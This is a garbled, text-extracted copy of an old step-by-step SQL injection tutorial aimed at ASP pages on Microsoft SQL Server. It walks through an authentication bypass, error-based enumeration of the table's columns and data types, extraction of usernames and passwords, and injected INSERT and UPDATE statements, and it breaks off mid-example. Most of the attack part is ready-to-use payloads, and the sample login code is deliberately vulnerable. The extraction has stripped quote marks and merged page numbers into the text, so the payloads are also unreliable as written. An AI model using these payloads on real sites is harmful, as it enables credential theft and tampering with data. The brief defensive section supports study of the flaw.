Sql Injection

1、a step by step guide to sql injectionsabstract2what is sql injection?2test environment for checking sql injections:2architecture:3database management system:3front-end structure:4sql injections at the database level6bypassing user authentication:6how to secure against illegal authentication?7determi

2、ne column of the table:8getting all columns of the table: (using group by clause)8determining the number of columns: (using union clause)9finding data types: (using aggregate functions)10why we need all columns and data types?10getting username & password from table:10inserting values in the table:1

3、3updating values of the table:13deleting entire data from the table: (using delete or drop statement)14displaying desired information from the table in the browser:14sql injections going beyond the databases15getting server name:15xp_cmdshell :16shutting down the sql server:16brute force to find pas

4、sword of sql server:16xp_regread and xp_regwrite extended procedure:17xp_servicecontrol:18bulk insert statement:19how to prevent against sql injections:19appendix:20union clause:20group by clause:20delete/drop statement:20odbc driver:20microsoft internet information server (iis):21abstract this docu

5、ment discuss in detail common as well as some advance sql injection techniques as it applies to microsoft internet information server / active server pages / microsoft sql server. it discusses the various ways in which sql can be injected & how one can protect him against the sql injections. this do

6、cument also contains brief description of the terms used in the context of databases & web application. what is sql injection? sql injection is a technique where an attacker creates or alters existing sql commands (by using some special symbol) to gain access to unintended data or even the ability t

7、o execute system level commands in the server. sql injections are the result of poor input validation and can be blocked by proper input validation. application that do not correctly validate and/or sanitize the user input, can potentially be exploited in several ways: changing sql values. concatena

8、ting sql values. adding function calls & stored procedures to a statement. typecast and concatenate retrieved data. adding system functions & procedure to find out critical information about the server. test environment for checking sql injections: test environment is very simple, which uses microso

9、ft sql server 2000 as a database management system, web server and a authentication web site. the test environment also contains two asp pages one is for gathering user input & another one is for checking user input against the data in the database using sql query.architecture:test environment is ba

10、sed on the two tire architecture. diagram of typical two-tire architecture is shown below:in a two-tier architecture a client talks directly to a server, with no intervening server. it is typically used in small environments (less than 50 users). some important characteristics of a two-tier applicat

11、ion are: user interface on clients (desktops). database on servers (more powerful machines). business logic residing mostly on clients. stored procedures for data access on the servers. sqls used for communication.database management system: microsoft sql server 2000.database name: injection.table n

12、ame: authentication.table structure: slnointeger (4) name character (20) passwordcharacter (20)front-end structure:authentication page: login.asp this page is designed to take user input. there are two text boxes in the page with one submit button. when user click on the submit button the values of

13、the text boxes are submitted to verify.asp page at the server site.there are two methods (get & post) to submit values from a web page to another. since only few applications uses get method, so in this scenario we are using post method only, but same thing can be achieved by using get method as wel

14、l. the difference between get & post method is in get method the data is appended to the url using “?” and a user can see the data being transferred in the address bar. while data being transferred using post method doesnt appended to the url & thus doesnt appear in the address bar i.e. it is kept h

15、idden from the users. the data sent by using post method is grab in asp page using request.form object while data sent by using get method is grab using requset.querystring object. the process of sql injection will be same for both the cases.browsers location line shows the username & password.the f

16、ollowing snip will tell you how information appears in the browser.verify.aspbrowser shows the username & password in the address bar.code of the login.asp page:name:password:authenticationverify page: verify.aspthis page is designed to grab input from the login.asp page & check it against the data

17、in the databases. typical query to validate user data is written as:set recordset = connectionstering.execute (select * from authentication where & name & request.form (username) & and & _password & request.form (userpassword) & )code of the verify.asp page:%variable declaration dim cm, trec set cm

18、= server.createobject(adodb.connection) set trec = server.createobject(adodb.recordset)connectionstrin g= driver=sqlserver;server=middleearth;database=injection;uid=sa;pwd=sa” querytext = select * from authentication where & _ name = & request.form(username) & and & _ password = & request.form(userp

19、assword) & response.write (querytext)opening connection object because we need to put data or get data somewhere cm.open (connectionstring) opening a recordset which execute query trec.open querytext,cmif not trec.eof then response.write(authentic) else response.write(not authentic)end if response.w

20、rite(+querytext)%sql injections at the database levelthe first step before sql injections is to test whether a site is vulnerable to sql injections or not. it can be achieved by giving some arbitrary input. if input results in an error message (other than user generated error message), it means site

21、 is vulnerable to sql injections. to find whether a sire is vulnerable to sql injections try followings special characters in input:;,%-*bypassing user authentication:an attacker can easily bypass login page without providing a valid user name & password. he just need to give: or 1=1;- (in the user

22、name text box)on submitting this page sql query (at the server) becomes:select * from authentication where name = or 1=1; - note: ms sql server treats anything after; - as comment so rest of the query will be ignored. what attacker has done here is without specifying a valid username & password he b

23、ypasses the login page.telling you frankly even if site is vulnerable to sql injections most of the time it will not work. it depends on the way asp code is written. key thing behind sql injection is your input should be according to asp code to get desired result. here i would like to suggest that

24、you should try all the following possible combinations and more, which you can think.1. or 1=1; -2. or 1=1); -3. any_bad_value4. “5. “or”6.“ any_bad_value” etc.note: this explanation is just for understanding from this test scenario. this varies on your web application code.how to secure against ill

25、egal authentication?to restrict an attacker you can use stored procedures (with username as its parameter) instead of writing complete sql query in the querystring. that is something like . set recordsource = connectionstering.execute (exec logincheck &requset.querystring (username) &). now while tr

26、ying to bypass this code by supplying or 1=1 as username it wont work. the reason is sql queries that execute a stored procedure cant be conditional and the presence of or makes it so. thus produce an error:microsoft ole db provider for odbc drivers error 80040e14microsoftodbc sql server incorrect s

27、yntax near the keyword or. /verify1.asp, line 5. determine column of the table:till this stages an attacker dont know anything about table structure. he needs to know column name and table name to perform sql injection further. he can find out a column name by giving input something like skillz in t

28、he username textbox. when he submit the page the query at the server site will be something like:select * from authentication where username = skillz and password = when odbc tries to parse that query it will generate the following error message:microsoft ole db provider for odbc drivers error 80040

29、e14microsoft odbc sql server unclosed quotation mark before the character string skillz and password=this seems to be very interesting messages from an attackers point of view as he has got one column of the table i.e. password. and now he can use it to get other columns of the table. getting all co

30、lumns of the table: (using group by clause)here is the explanation, how an attacker can get other columns of the table using the first column he has just got. he will also get table with the column name.this is what an attacker has to enter in the user name text box:skillz group by (password); - whe

31、n attacker submit this page the query at the server site will become: select * from authentication where username = skillz group by (password); - when odbc try to parse this sql query it will generate following error message: microsoft ole db provider for odbc drivers error 80040e14microsoftodbc sql

32、 server driversql server column authentication.slno is invalid in the select list because it is not contained in either an aggregate function or the group by clause./verify.asp, line 24 the error is generated by odbc driver because of the fact that, group by should contain all the columns occurring

33、in select list. this error seems to be more interesting then the previous one as from this error attacker got two things one is new column name and another one is the table name.by keep-applying group-by clause recursively with newly found column attacker can get all the columns of the table. determ

34、ining the number of columns: (using union clause)to check that whether attacker has got all the columns or not, he has just need to use union clause: an attacker can proceed by giving input into text box:skillz union select slno, password from authentication; - on submitting this value the query at

35、the server site becomes something like:select * from authentication where name = skillz union select slno, password from authentication- when odbc try to parse this query it will generate following error: microsoft ole db provider for odbc drivers error 80040e14microsoftodbc sql server driversql ser

36、ver all queries in an sql statement containing a union operator must have an equal number of expressions in their target lists./verify1.asp, line 24what does this error means? this means server is telling that slno & password are not the only column in the table, as the union clause is not matching

37、the number of columns in the table. this means attacker has to use group by clause again to find the hidden columns. when he include all the columns in the query odbc will not generate any error message & that is the indication that attacker has got all the columns of the table.finding data types: (

38、using aggregate functions)at this stage attacker got the table name & all the columns of the table. but if he wants to insert some value(s) in the table or to update some column value he would need data type of the columns.to find out data type of the column he just has to enter:skillz compute sum (

39、name) in the username text box.when this value is submitted to the server, query at the server site becomes:select * from authentication where name = skillz compute sum (name)here (name) is a column name of currently used table.when odbc try to parse this query, it will generate following error:micr

40、osoft ole db provider for odbc drivers error 80040e07microsoftodbc sql server driversql server the sum or average aggregate operation cannot take a char data type as an argument./verify.asp, line 24the above error message is giving information that the name field of the table is of varchar type. by

41、proceeding in the same manner & applying aggregate functions on the rest of the columns we can get data types for all the columns. why we need all columns and data types?all column names might be required to insert values in all columns. here it might be a question why i need to insert values in all

42、 fields, why not only on selected fields? the answer for this is some columns dont support null values and we have to specify some value for such columns otherwise it wont be possible to insert values into table. getting username & password from table:aggregate functions can be used to determining s

43、ome values in any table in the database. since the attacker is interested in usernames & passwords, they are likely to read the usernames from the user table, like this: username: union select min (name), 1,1 from authentication where username a;-select * from authentication where name = union selec

44、t min (name), 1,1 from authentication where username a; -when the above query is executed its first statement (before union clause) returns null value and second returns minimum username that is greater than a, and attempts to convert it to an integer, and thus produces an error: microsoft ole db pr

45、ovider for odbc driver error 80040e07microsoftodbc sql server driversql server syntax error converting the varchar value skillz to a column of data type int./verify.asp, line 25so the attacker now knows that the username skillz exist in the table. he can now iterate through the rows in the table by

46、substituting each new username he discovered into where clause:username: union select min (name), 1,1 from authentication where username skillzagain when odbc tries to convert character value in the integer, it generates an error:microsoft ole db provider for odbc driver error 80040e07microsoftodbc

47、sql server driversql server syntax error converting the varchar value rahul to a column of data type int./verify.asp, line 25from this error attacker has got one more username that exist in the table. by proceeding in the same manner he can obtain all the username from the table. once the attacker g

48、ot the usernames, he can starts gathering passwords.username: union select password, 1,1 from authentication where name =skillzagain odbc tries to convert character value (password) to an integer & generates the following error message:microsoft ole db provider for odbc driver error 80040e07microsof

49、t odbc sql server driver sql server syntax error converting the character value vikas to a column of a data type int. from the above error attacker comes to know that vikas is the password for user skillz.a more elegant way to display all username & password is concatenate usernames & passwords into

50、 a single string & then attempt to convert into an integer. following script, which is written in pl/sql, converts all usernames & passwords into a single string & store into a temporary table.begindeclare col varchar(8000)set col = :(you can give any value instead of : )select col = col + username:

51、 + rtrim(name)+ password: + rtrim(password) + from authentication where name col select col as col into temp_tableend;note: - temp_table is the temporary table name.col is the name of column of temporary table temp_table.col is variable for the pl/sql script.now attacker can use this temp_table to g

52、et all the username & password of the table. username: union select col, 1,1 from temp_table; -when odbc tries to convert string in to integer data type, it will generate the following error: microsoft ole db provider for odbc driver error 80040e07microsoft odbc sql server driver sql server syntax e

53、rror converting the varchar value : username: skillz password: vikas username: rahul password: skillz username: vikas password: skillz to a column of a data type integer. the string represents the username & its password, separated by words username & password. inserting values in the table:as attac

54、ker has already got all the necessary information (table name, column name, data type of columns) required to insert values in the table he can easily insert data into the table using insert statement. at attacker just need to enter: insert into authentication (name, password) values (skillz,skillz)

55、; - when this value is submitted at the server site, query becomes:select * from authentication where name = insert into authentication (name, password) values (skillz,skillz); - here the select query doesnt make any sense so it is ignored & insert query is successfully executed.updating values of the table:following the same procedure as insert, an attacker can easily update values of the table. to update values of columns say password of a user an attacker just need to proceed by submitting: update authentication set password = skillz